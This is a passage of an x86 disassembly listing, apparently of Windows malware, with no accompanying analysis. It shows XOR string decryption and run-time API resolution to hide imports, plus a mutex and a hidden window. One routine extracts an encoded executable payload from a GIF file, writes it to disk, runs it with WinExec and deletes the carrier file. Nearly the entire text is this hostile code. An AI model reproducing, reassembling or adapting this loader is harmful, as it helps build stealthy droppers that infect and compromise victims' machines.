movsx ecx, byte ptr [edi+2]
xor edx, ecx
mov [eax], dl
inc [ebp+var_2]
loc_44254F: ; CODE XREF: sub_4424C1+77j
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_44253A
mov eax, dword_44B160
add eax, dword_44B108
sub eax, 8
movsx edx, word_44B150
sub edx, 5
mov [edi+eax], dl
mov eax, dword_44B14C
add eax, dword_44B164
sub eax, 5
mov edx, dword_44B178
sub edx, 3
mov [edi+eax], dl
push offset dword_44ABC0
call ds:dword_44964C ; RtlLeaveCriticalSection
loc_44259B: ; CODE XREF: sub_4424C1+5Cj
lea eax, [edi+3]
pop edi
pop esi
pop ebx
leave
retn
sub_4424C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4425A3 proc near ; DATA XREF: .data:0044B2CCo
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_4]
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
mov eax, dword_44B164
add eax, 0F8h
add eax, dword_44B0E4
cmp edi, eax
jnz short loc_4425D2
push [ebp+arg_14]
call sub_43F0EA
pop ecx
xor eax, eax
jmp short loc_4425F2
; ---------------------------------------------------------------------------
loc_4425D2: ; CODE XREF: sub_4425A3+20j
mov eax, dword_44B0D4
add eax, 102h
cmp edi, eax
jnz short loc_4425ED
push [ebp+arg_14]
call sub_443E95
pop ecx
xor eax, eax
jmp short loc_4425F2
; ---------------------------------------------------------------------------
loc_4425ED: ; CODE XREF: sub_4425A3+3Bj
mov eax, 80020003h
loc_4425F2: ; CODE XREF: sub_4425A3+2Dj
; sub_4425A3+48j
pop edi
pop ebp
retn 24h
sub_4425A3 endp
; =============== S U B R O U T I N E =======================================
sub_4425F7 proc near ; CODE XREF: sub_442C0A+20p
push edi
push offset word_44B8C2
call sub_4424C1
pop ecx
push eax
call ds:dword_4475E8 ; GetModuleHandleA
mov dword_44B1EC, eax
test eax, eax
jnz short loc_44262A
push offset byte_44B8B7
call sub_4424C1
pop ecx
push eax
call ds:dword_448244 ; LoadLibraryA
mov dword_44B1EC, eax
loc_44262A: ; CODE XREF: sub_4425F7+1Aj
cmp dword_44B1EC, 0
jz short loc_442650
push offset byte_44B8A1
call sub_4424C1
pop ecx
push eax
push dword_44B1EC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_447600, eax
loc_442650: ; CODE XREF: sub_4425F7+3Aj
pop edi
retn
sub_4425F7 endp
; =============== S U B R O U T I N E =======================================
sub_442652 proc near ; DATA XREF: sub_4401E7+7o
movsx eax, word_44B1A8
inc eax
push eax
call ds:dword_44A660 ; ExitThread
retn
sub_442652 endp
; =============== S U B R O U T I N E =======================================
sub_442662 proc near ; CODE XREF: sub_440946+26Ep
push edi
push offset byte_44B893
call sub_4424C1
pop ecx
push eax
call ds:dword_4475E8 ; GetModuleHandleA
mov dword_44B1D8, eax
test eax, eax
jnz short loc_442695
push offset byte_44B885
call sub_4424C1
pop ecx
push eax
call ds:dword_448244 ; LoadLibraryA
mov dword_44B1D8, eax
loc_442695: ; CODE XREF: sub_442662+1Aj
push offset byte_44B87B
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A630, eax
push offset dword_44B870
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445030, eax
push offset dword_44B868
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445054, eax
push offset dword_44B860
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_447A38, eax
push offset word_44B856
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_447A2C, eax
push offset dword_44B84C
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A648, eax
push offset word_44B842
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_449634, eax
push offset dword_44B838
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_449640, eax
push offset dword_44B830
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44ABAC, eax
push offset byte_44B827
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A600, eax
push offset byte_44B81D
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445020, eax
push offset word_44B812
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A634, eax
push offset word_44B806
call sub_4424C1
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44824C, eax
push offset dword_44B7FC
call sub_4424C1
add esp, 38h
push eax
push dword_44B1D8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_4471F4, eax
pop edi
retn
sub_442662 endp
; =============== S U B R O U T I N E =======================================
sub_442822 proc near ; CODE XREF: sub_442C0A+25p
push edi
push offset word_44B7EE
call sub_4424C1
pop ecx
push eax
call ds:dword_4475E8 ; GetModuleHandleA
mov dword_44B1F0, eax
test eax, eax
jnz short loc_442855
push offset dword_44B7E0
call sub_4424C1
pop ecx
push eax
call ds:dword_448244 ; LoadLibraryA
mov dword_44B1F0, eax
loc_442855: ; CODE XREF: sub_442822+1Aj
cmp dword_44B1F0, 0
jz short loc_44287A
movsx eax, word_44B148
add eax, 2
push eax
push dword_44B1F0
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44501C, eax
loc_44287A: ; CODE XREF: sub_442822+3Aj
pop edi
retn
sub_442822 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44287C proc near ; DATA XREF: sub_43B52C+81o
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_1FE = byte ptr -1FEh
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 21Ch
push ebx
push esi
push edi
lea eax, [ebp+var_210]
push eax
push offset dword_4470F0
call sub_43ACC9
add esp, 8
mov [ebp+var_208], eax
test eax, eax
jnz short loc_4428AD
xor eax, eax
jmp loc_442A41
; ---------------------------------------------------------------------------
loc_4428AD: ; CODE XREF: sub_44287C+28j
mov eax, dword_44B0A0
movsx edx, word_44B0B0
add eax, edx
sub eax, 8
mov [ebp+var_204], eax
loc_4428C4: ; CODE XREF: sub_44287C+1B1j
mov eax, [ebp+var_204]
mov edx, [ebp+var_208]
lea ecx, [edx+eax]
or eax, 0FFFFFFFFh
loc_4428D6: ; CODE XREF: sub_44287C+5Fj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4428D6
mov [ebp+var_20C], eax
cmp [ebp+var_20C], 0FFh
jnb short loc_442913
mov eax, [ebp+var_204]
mov edx, dword_44B1B8
sub edx, 2
add eax, edx
add eax, [ebp+var_208]
push eax
lea eax, [ebp+var_FF]
push eax
call sub_444B60
loc_442913: ; CODE XREF: sub_44287C+71j
mov eax, dword_44B15C
mov esi, eax
add esi, dword_44B178
sub esi, 7
jmp short loc_44294A
; ---------------------------------------------------------------------------
loc_442925: ; CODE XREF: sub_44287C+E0j
cmp [ebp+esi+var_FF], 28h
jnz short loc_442937
mov [ebp+esi+var_FF], 2Bh
loc_442937: ; CODE XREF: sub_44287C+B1j
cmp [ebp+esi+var_FF], 29h
jnz short loc_442949
mov [ebp+esi+var_FF], 3Dh
loc_442949: ; CODE XREF: sub_44287C+C3j
inc esi
loc_44294A: ; CODE XREF: sub_44287C+A7j
lea ecx, [ebp+var_FF]
or eax, 0FFFFFFFFh
loc_442953: ; CODE XREF: sub_44287C+DCj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_442953
cmp esi, eax
jb short loc_442925
push 0FFh
lea eax, [ebp+var_1FE]
push eax
lea eax, [ebp+var_FF]
push eax
call sub_44335A
add esp, 0Ch
mov ebx, eax
mov edi, dword_44B160
sub edi, 8
jmp short loc_4429B4
; ---------------------------------------------------------------------------
loc_442986: ; CODE XREF: sub_44287C+13Aj
movsx eax, [ebp+edi+var_1FE]
mov [ebp+var_218], eax
mov eax, edi
mul edi
mov [ebp+var_21C], eax
mov eax, [ebp+var_218]
mov edx, [ebp+var_21C]
sub eax, edx
mov [ebp+edi+var_1FE], al
inc edi
loc_4429B4: ; CODE XREF: sub_44287C+108j
cmp edi, ebx
jb short loc_442986
movsx eax, word_44B110
sub eax, 3
push eax
push [ebp+arg_0]
lea eax, [ebp+var_1FE]
push eax
call sub_43D744
add esp, 0Ch
mov [ebp+var_214], eax
mov eax, dword_44B14C
add eax, 0FFF8h
add eax, dword_44B1B4
cmp [ebp+var_214], eax
jz short loc_442A04
push [ebp+var_208]
call ds:dword_447618 ; LocalFree
xor eax, eax
inc eax
jmp short loc_442A41
; ---------------------------------------------------------------------------
loc_442A04: ; CODE XREF: sub_44287C+175j
mov eax, [ebp+var_20C]
mov edx, dword_44B1A4
add edx, dword_44B160
sub edx, 3
add eax, edx
add [ebp+var_204], eax
mov eax, [ebp+var_210]
cmp [ebp+var_204], eax
jb loc_4428C4
push [ebp+var_208]
call ds:dword_447618 ; LocalFree
xor eax, eax
loc_442A41: ; CODE XREF: sub_44287C+2Cj
; sub_44287C+186j
pop edi
pop esi
pop ebx
leave
retn
sub_44287C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442A46 proc near ; CODE XREF: sub_43DEF2+2CDp
; sub_4438E7+23Bp
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_316 = byte ptr -316h
var_212 = byte ptr -212h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 32Ch
push ebx
push esi
push edi
push [ebp+arg_4]
call ds:dword_44A630
pop ecx
push [ebp+arg_0]
lea eax, [ebp+var_316]
push eax
call sub_444B60
lea ecx, [ebp+var_316]
or eax, 0FFFFFFFFh
loc_442A74: ; CODE XREF: sub_442A46+33j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_442A74
mov edx, dword_44B160
sub edx, 7
mov ebx, eax
sub ebx, edx
movsx edx, word_44B194
add edx, dword_44B0F8
sub edx, 2
mov [ebp+ebx+var_316], dl
mov edi, dword_44B158
loc_442AA5: ; CODE XREF: sub_442A46+158j
mov eax, edi
movsx ecx, word_44B16C
add ecx, dword_44B094
sub ecx, 8
mul ecx
mov [ebp+var_320], eax
movsx eax, [ebp+edi+var_316]
mov edx, [ebp+var_320]
mov [ebp+edx+var_212], al
mov eax, edi
mov ecx, dword_44B0AC
dec ecx
mul ecx
mov [ebp+var_324], eax
mov eax, dword_44B178
sub eax, 2
mov edx, [ebp+var_324]
add edx, eax
mov eax, dword_44B0FC
sub eax, 7
mov [ebp+edx+var_212], al
movsx eax, [ebp+edi+var_316]
mov edx, dword_44B104
sub edx, 3
cmp eax, edx
jnz loc_442B9D
mov eax, edi
movsx ecx, word_44B0E0
add ecx, dword_44B0E4
mul ecx
mov [ebp+var_328], eax
movsx eax, word_44B19C
add eax, dword_44B1AC
sub eax, 8
mov edx, [ebp+var_328]
add edx, eax
mov eax, dword_44B0D4
dec eax
mov [ebp+edx+var_212], al
mov eax, edi
mov ecx, dword_44B11C
add ecx, dword_44B10C
sub ecx, 8
mul ecx
mov [ebp+var_32C], eax
movsx eax, word_44B0D8
sub eax, 2
mov edx, [ebp+var_32C]
add edx, eax
movsx eax, word_44B090
add eax, dword_44B0A4
sub eax, 3
mov [ebp+edx+var_212], al
jmp short loc_442BA3
; ---------------------------------------------------------------------------
loc_442B9D: ; CODE XREF: sub_442A46+D1j
inc edi
jmp loc_442AA5
; ---------------------------------------------------------------------------
loc_442BA3: ; CODE XREF: sub_442A46+155j
cmp dword_44B1EC, 0
jz short loc_442BE4
lea eax, [ebp+var_212]
push eax
push 0
call ds:dword_447600
mov esi, eax
or esi, esi
jz short loc_442BE4
cmp dword_44B1F0, 0
jz short loc_442C05
mov eax, dword_44B1AC
sub eax, 3
neg eax
push eax
lea eax, [ebp+var_212]
push eax
push 0
call ds:dword_44501C
loc_442BE4: ; CODE XREF: sub_442A46+164j
; sub_442A46+179j
push ds:dword_447610
push ds:off_44A610
lea eax, [ebp+var_316]
push eax
call sub_43C38A
add esp, 0Ch
mov [ebp+var_31C], eax
loc_442C05: ; CODE XREF: sub_442A46+182j
pop edi
pop esi
pop ebx
leave
retn
sub_442A46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442C0A proc near ; DATA XREF: sub_440946+Co
; sub_440946+2A5o
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = byte ptr -144h
var_45 = byte ptr -45h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 158h
push ebx
push esi
push edi
call sub_43EA51
call sub_43AA12
call sub_442386
call sub_43AED7
call sub_4425F7
call sub_442822
call sub_43AD5A
call sub_44015B
loc_442C3E: ; CODE XREF: sub_442C0A+89j
call sub_4437B1
mov ebx, eax
mov [ebp+var_45], bl
movzx eax, [ebp+var_45]
mov edx, dword_44B1AC
sub edx, 2
cmp eax, edx
jnz short loc_442C6E
mov eax, dword_44B138
add eax, dword_44B18C
sub eax, 8
push eax
call ds:dword_44A660 ; ExitThread
loc_442C6E: ; CODE XREF: sub_442C0A+4Dj
movzx eax, [ebp+var_45]
mov edx, dword_44B108
inc edx
cmp eax, edx
jnz short loc_442C95
mov eax, dword_44B1B4
add eax, 5Ch
add eax, dword_44B0FC
push eax
call ds:dword_44A630
pop ecx
jmp short loc_442C3E
; ---------------------------------------------------------------------------
loc_442C95: ; CODE XREF: sub_442C0A+71j
push offset dword_44B7D4
call sub_4424C1
mov [ebp+var_154], eax
push offset word_44B7CA
call sub_4424C1
mov esi, dword_44B1C8
movsx ebx, word_44B1BC
add esi, ebx
sub esi, 7
push esi
push eax
mov esi, [ebp+var_154]
push esi
lea esi, [ebp+var_144]
push esi
call ds:dword_44A634
lea eax, [ebp+var_144]
push eax
push 0
push 0
call ds:dword_44A61C ; CreateMutexA
push 0
call ds:dword_4475E8 ; GetModuleHandleA
mov edi, eax
push offset dword_44B7C0
call sub_4424C1
mov [ebp+var_20], eax
mov [ebp+var_34], edi
lea eax, sub_440306
mov [ebp+var_40], eax
push 7F00h
push 0
call ds:dword_448220 ; LoadCursorA
mov [ebp+var_2C], eax
push 7F03h
push 0
call ds:dword_44A620 ; LoadIconA
mov [ebp+var_30], eax
and [ebp+var_24], 0
push 0
call ds:dword_446120 ; GetStockObject
mov [ebp+var_28], eax
mov [ebp+var_44], 3
mov eax, dword_44B17C
add eax, dword_44B09C
sub eax, 0Eh
mov [ebp+var_3C], eax
mov eax, dword_44B164
mov [ebp+var_38], eax
lea eax, [ebp+var_44]
push eax
call ds:dword_4470DC ; RegisterClassA
push offset word_44B7B6
call sub_4424C1
mov [ebp+var_158], eax
push offset dword_44B7AC
call sub_4424C1
push 0
push edi
push 0
push 0
mov esi, dword_44B17C
sub esi, 6
push esi
mov esi, dword_44B0C0
movsx ebx, word_44B0E0
add esi, ebx
dec esi
push esi
movsx esi, word_44B100
sub esi, 9
push esi
movsx esi, word_44B168
movsx ebx, word_44B0DC
add esi, ebx
sub esi, 0Eh
push esi
push 0CA0000h
push eax
mov esi, [ebp+var_158]
push esi
mov esi, dword_44B09C
add esi, dword_44B0A4
sub esi, 0Ah
push esi
call ds:dword_449648 ; CreateWindowExA
mov ds:dword_44760C, eax
lea eax, [ebp+var_148]
push eax
push edi
call sub_43B333
add esp, 2Ch
mov [ebp+var_14C], eax
mov ds:off_44A610, eax
mov eax, [ebp+var_148]
mov ds:dword_447610, eax
call sub_43A33B
lea eax, [ebp+var_150]
push eax
movsx eax, word_44B100
add eax, dword_44B160
sub eax, 11h
push eax
push 0
push offset sub_43E8A2
mov eax, dword_44B1C4
sub eax, 5
push eax
push 0
call ds:dword_44AB90 ; CreateThread
push eax
call ds:dword_449650 ; CloseHandle
call sub_43B52C
call sub_43FEB1
jmp short loc_442E69
; ---------------------------------------------------------------------------
loc_442E55: ; CODE XREF: sub_442C0A+283j
lea eax, [ebp+var_1C]
push eax
call ds:dword_44A77C ; TranslateMessage
lea eax, [ebp+var_1C]
push eax
call ds:dword_445050 ; DispatchMessageA
loc_442E69: ; CODE XREF: sub_442C0A+249j
movsx eax, word_44B114
sub eax, 2
push eax
movsx eax, word_44B170
sub eax, 8
push eax
push 0
lea eax, [ebp+var_1C]
push eax
call ds:dword_448368 ; GetMessageA
or eax, eax
jnz short loc_442E55
pop edi
pop esi
pop ebx
leave
retn 4
sub_442C0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442E96 proc near ; CODE XREF: sub_43DAAC+219p
; sub_43DAAC+22Bp
var_61DA0 = dword ptr -61DA0h
var_61D9C = dword ptr -61D9Ch
var_61D98 = byte ptr -61D98h
var_61C99 = byte ptr -61C99h
var_61C98 = dword ptr -61C98h
var_61C91 = byte ptr -61C91h
var_30F51 = byte ptr -30F51h
var_30F50 = dword ptr -30F50h
var_30F4B = byte ptr -30F4Bh
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30E3E = byte ptr -30E3Eh
var_30E3D = byte ptr -30E3Dh
var_30E3C = byte ptr -30E3Ch
var_30E3B = byte ptr -30E3Bh
var_30E3A = byte ptr -30E3Ah
var_30E15 = byte ptr -30E15h
var_30E14 = byte ptr -30E14h
var_30DBE = byte ptr -30DBEh
var_30DBD = byte ptr -30DBDh
var_30DBC = byte ptr -30DBCh
var_30D46 = byte ptr -30D46h
var_30D43 = byte ptr -30D43h
var_30D41 = byte ptr -30D41h
var_30D40 = byte ptr -30D40h
var_30D3F = byte ptr -30D3Fh
var_30D3B = byte ptr -30D3Bh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 61DA0h
call sub_444B40
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
and [ebp+var_30F50], 0
push 0
mov eax, dword_44B138
add eax, dword_44B174
sub eax, 11h
push eax
push 3
push 0
mov eax, dword_44B18C
dec eax
push eax
push 80000000h
push [ebp+arg_0]
call ds:dword_44A788 ; CreateFileA
mov [ebp+var_30E48], eax
cmp eax, 0FFFFFFFFh
jz loc_443355
push 0
lea eax, [ebp+var_30E4C]
push eax
movsx eax, word_44B114
mov edx, dword_44B120
lea eax, [eax+edx+80h]
push eax
lea eax, [ebp+var_30E3F]
push eax
push [ebp+var_30E48]
call ds:dword_445028 ; ReadFile
mov [ebp+var_30E44], eax
mov eax, dword_44B17C
add eax, dword_44B12C
sub eax, 0Bh
cmp [ebp+var_30E44], eax
jz loc_443337
cmp [ebp+var_30E3F], 47h
jnz short loc_442F70
cmp [ebp+var_30E3E], 49h
jnz short loc_442F70
cmp [ebp+var_30E3D], 46h
jnz short loc_442F70
cmp [ebp+var_30E3C], 38h
jnz short loc_442F70
cmp [ebp+var_30E3B], 39h
jnz short loc_442F70
cmp [ebp+var_30E3A], 61h
jz short loc_442F75
loc_442F70: ; CODE XREF: sub_442E96+ABj
; sub_442E96+B4j ...
jmp loc_443337
; ---------------------------------------------------------------------------
loc_442F75: ; CODE XREF: sub_442E96+D8j
movzx eax, [ebp+var_30E15]
mov edx, dword_44B1C0
add edx, 35h
add edx, dword_44B1B8
cmp eax, edx
jnz short loc_442FA1
cmp [ebp+var_30DBE], 3Dh
jnz short loc_442FA1
cmp [ebp+var_30DBD], 3Dh
jz short loc_442FA6
loc_442FA1: ; CODE XREF: sub_442E96+F7j
; sub_442E96+100j
jmp loc_443337
; ---------------------------------------------------------------------------
loc_442FA6: ; CODE XREF: sub_442E96+109j
or ebx, ebx
jnz short loc_442FD5
mov al, [ebp+var_30DBC]
mov [ebp+var_30F51], al
call sub_443C06
mov edx, eax
mov [ebp+var_61C99], dl
mov al, [ebp+var_61C99]
cmp al, [ebp+var_30F51]
jz loc_443337
loc_442FD5: ; CODE XREF: sub_442E96+112j
push 0
lea eax, [ebp+var_30E4C]
push eax
push 30D40h
lea eax, [ebp+var_61C91]
push eax
push [ebp+var_30E48]
call ds:dword_445028 ; ReadFile
mov [ebp+var_30E44], eax
movsx eax, word_44B100
add eax, dword_44B0A0
sub eax, 0Dh
cmp [ebp+var_30E44], eax
jz loc_443337
mov eax, [ebp+var_30E4C]
mov edx, dword_44B10C
movsx ecx, word_44B0D8
add edx, ecx
sub edx, 0Ch
mov [ebp+eax+var_61C91], dl
push 30D40h
lea eax, [ebp+var_30D40]
push eax
lea eax, [ebp+var_61C91]
push eax
call sub_44335A
add esp, 0Ch
mov esi, eax
mov edi, dword_44B0D4
dec edi
jmp short loc_4430A2
; ---------------------------------------------------------------------------
loc_44305D: ; CODE XREF: sub_442E96+20Ej
or ebx, ebx
jz short loc_443074
movzx eax, [ebp+edi+var_30D40]
sub eax, edi
mov [ebp+edi+var_30D40], al
jmp short loc_4430A1
; ---------------------------------------------------------------------------
loc_443074: ; CODE XREF: sub_442E96+1C9j
movzx eax, [ebp+edi+var_30D40]
mov [ebp+var_61D9C], eax
mov eax, edi
mul edi
mov [ebp+var_61DA0], eax
mov eax, [ebp+var_61D9C]
mov edx, [ebp+var_61DA0]
sub eax, edx
mov [ebp+edi+var_30D40], al
loc_4430A1: ; CODE XREF: sub_442E96+1DCj
inc edi
loc_4430A2: ; CODE XREF: sub_442E96+1C5j
cmp edi, esi
jb short loc_44305D
or ebx, ebx
jz short loc_4430D6
mov eax, dword_44B0E4
add eax, dword_44B0FC
sub eax, 8
mov edx, esi
sub edx, eax
movsx eax, word_44B0F4
movsx ecx, word_44B148
add eax, ecx
sub eax, 0Ch
mov [ebp+edx+var_30D40], al
loc_4430D6: ; CODE XREF: sub_442E96+212j
movsx eax, word_44B100
mov edx, dword_44B134
lea eax, [eax+edx+77h]
movsx edx, word_44B154
sub edx, 8
mov [ebp+eax+var_30E3F], dl
push 0FFh
lea eax, [ebp+var_61D98]
push eax
lea eax, [ebp+var_30E14]
push eax
call sub_44335A
lea eax, [ebp+var_61D98]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
call sub_43C281
add esp, 18h
mov [ebp+var_30E44], eax
movsx eax, word_44B0D8
sub eax, 5
cmp [ebp+var_30E44], eax
jnz loc_443337
mov [ebp+var_30F50], 1
or ebx, ebx
jz loc_443288
mov eax, dword_44B124
cmp [ebp+eax+var_30D41], 64h
jnz loc_4431FC
movzx eax, [ebp+var_30D3F]
mov edx, dword_44B1C4
add edx, 1Bh
sub eax, edx
mov byte ptr [ebp+var_61D9C+3], al
movzx eax, byte ptr [ebp+var_61D9C+3]
push eax
push 0
call sub_441FCC
mov eax, dword_44B130
movsx edx, word_44B0F4
add eax, edx
sub eax, 9
mov ds:dword_44761C, eax
mov eax, dword_44B178
movsx edx, word_44B090
add eax, edx
sub eax, 4
mov dword_44B290, eax
mov eax, dword_44B164
add eax, dword_44B160
movsx edx, word_44B090
movsx ecx, word_44B0E0
add edx, ecx
dec edx
mov [ebp+eax+var_30D46], dl
mov eax, dword_44B1A0
add eax, dword_44B0F0
sub eax, 9
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_43B182
add esp, 10h
loc_4431FC: ; CODE XREF: sub_442E96+2CCj
mov eax, dword_44B104
add eax, dword_44B108
cmp [ebp+eax+var_30D43], 67h
jnz loc_443337
mov eax, dword_44B12C
movsx edx, word_44B154
sub edx, 8
mov [ebp+eax+var_30D3B], dl
lea eax, [ebp+var_30D3F]
push eax
call ds:dword_445054
mov [ebp+var_61D9C], eax
push eax
push offset dword_44A670
call sub_43E1CC
mov eax, dword_44B138
sub eax, 8
mov ds:dword_44761C, eax
mov eax, dword_44B098
sub eax, 7
mov dword_44B290, eax
movsx eax, word_44B19C
add eax, dword_44B11C
sub eax, 8
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_43B182
add esp, 14h
jmp loc_443337
; ---------------------------------------------------------------------------
loc_443288: ; CODE XREF: sub_442E96+2B9j
mov eax, dword_44B1B0
add eax, 4
add eax, dword_44B178
push eax
lea eax, [ebp+var_30F4B]
push eax
call sub_44244A
push offset dword_44B7A4
call sub_4424C1
push eax
lea edx, [ebp+var_30F4B]
push edx
call ds:dword_445020
push 0
push 80h
push 2
push 0
movsx eax, word_44B0E8
add eax, dword_44B12C
sub eax, 0Ah
push eax
push 40000000h
lea eax, [ebp+var_30F4B]
push eax
call ds:dword_44A788 ; CreateFileA
mov [ebp+var_61C98], eax
push 0
lea eax, [ebp+var_30E4C]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
push [ebp+var_61C98]
call ds:dword_44AB8C ; WriteFile
push [ebp+var_61C98]
call ds:dword_449650 ; CloseHandle
push 5
lea eax, [ebp+var_30F4B]
push eax
call ds:dword_4470E0 ; WinExec
movzx eax, [ebp+var_30F51]
push eax
call sub_43DE0F
add esp, 18h
loc_443337: ; CODE XREF: sub_442E96+9Ej
; sub_442E96:loc_442F70j ...
push [ebp+var_30E48]
call ds:dword_449650 ; CloseHandle
cmp [ebp+var_30F50], 0
jz short loc_443355
push [ebp+arg_0]
call ds:dword_445008 ; DeleteFileA
loc_443355: ; CODE XREF: sub_442E96+4Dj
; sub_442E96+4B4j
pop edi
pop esi
pop ebx
leave
retn
sub_442E96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44335A proc near ; CODE XREF: sub_44287C+F5p
; sub_442E96+1B4p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
movsx eax, word_44B150
sub eax, 5
mov [ebp+var_8], eax
mov [ebp+var_C], eax
mov esi, eax
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_8]
add eax, ebx
mov [ebp+var_4], eax
mov edi, [ebp+arg_0]
jmp loc_443483
; ---------------------------------------------------------------------------
loc_443388: ; CODE XREF: sub_44335A+131j
movsx edx, byte ptr [edi]
shl edx, 2
mov esi, dword_44B34C[edx]
mov eax, dword_44B0A4
add eax, dword_44B0C0
sub eax, 2
neg eax
cmp esi, eax
jz loc_443482
mov eax, [ebp+var_8]
or eax, eax
jl loc_44347F
cmp eax, 3
jg loc_44347F
jmp off_44B74C[eax*4]
loc_4433C8: ; DATA XREF: .data:off_44B74Co
inc [ebp+var_8]
jmp loc_44347F
; ---------------------------------------------------------------------------
loc_4433D0: ; CODE XREF: sub_44335A+67j
; DATA XREF: .data:0044B750o
mov edx, [ebp+var_C]
mov ecx, dword_44B0CC
add ecx, dword_44B190
sub ecx, 2
mov eax, edx
shl eax, cl
mov [ebp+var_18], eax
mov edx, esi
and edx, 30h
mov ecx, dword_44B0A0
add ecx, dword_44B130
mov eax, edx
sar eax, cl
mov edx, [ebp+var_18]
or edx, eax
mov [ebp+var_D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_D]
mov [eax], dl
inc [ebp+var_8]
jmp short loc_44347F
; ---------------------------------------------------------------------------
loc_443413: ; CODE XREF: sub_44335A+67j
; DATA XREF: .data:0044B754o
mov edx, [ebp+var_C]
and edx, 0Fh
movsx ecx, word_44B0F4
sub ecx, 5
mov eax, edx
shl eax, cl
mov [ebp+var_1C], eax
mov edx, esi
and edx, 3Ch
mov ecx, dword_44B0B8
sub ecx, 2
mov eax, edx
sar eax, cl
mov edx, [ebp+var_1C]
or edx, eax
mov [ebp+var_D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_D]
mov [eax], dl
inc [ebp+var_8]
jmp short loc_44347F
; ---------------------------------------------------------------------------
loc_443451: ; CODE XREF: sub_44335A+67j
; DATA XREF: .data:0044B758o
mov edx, [ebp+var_C]
and edx, 3
movsx ecx, word_44B168
sub ecx, 2
mov eax, edx
shl eax, cl
mov edx, eax
or edx, esi
mov [ebp+var_D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_D]
mov [eax], dl
mov eax, dword_44B0B8
sub eax, 4
mov [ebp+var_8], eax
loc_44347F: ; CODE XREF: sub_44335A+58j
; sub_44335A+61j ...
mov [ebp+var_C], esi
loc_443482: ; CODE XREF: sub_44335A+4Dj
inc edi
loc_443483: ; CODE XREF: sub_44335A+29j
cmp byte ptr [edi], 0
jz short loc_443491
cmp ebx, [ebp+var_4]
jb loc_443388
loc_443491: ; CODE XREF: sub_44335A+12Cj
cmp byte ptr [edi], 0
jnz short loc_44349D
mov eax, ebx
sub eax, [ebp+arg_4]
jmp short loc_4434AD
; ---------------------------------------------------------------------------
loc_44349D: ; CODE XREF: sub_44335A+13Aj
mov eax, dword_44B1AC
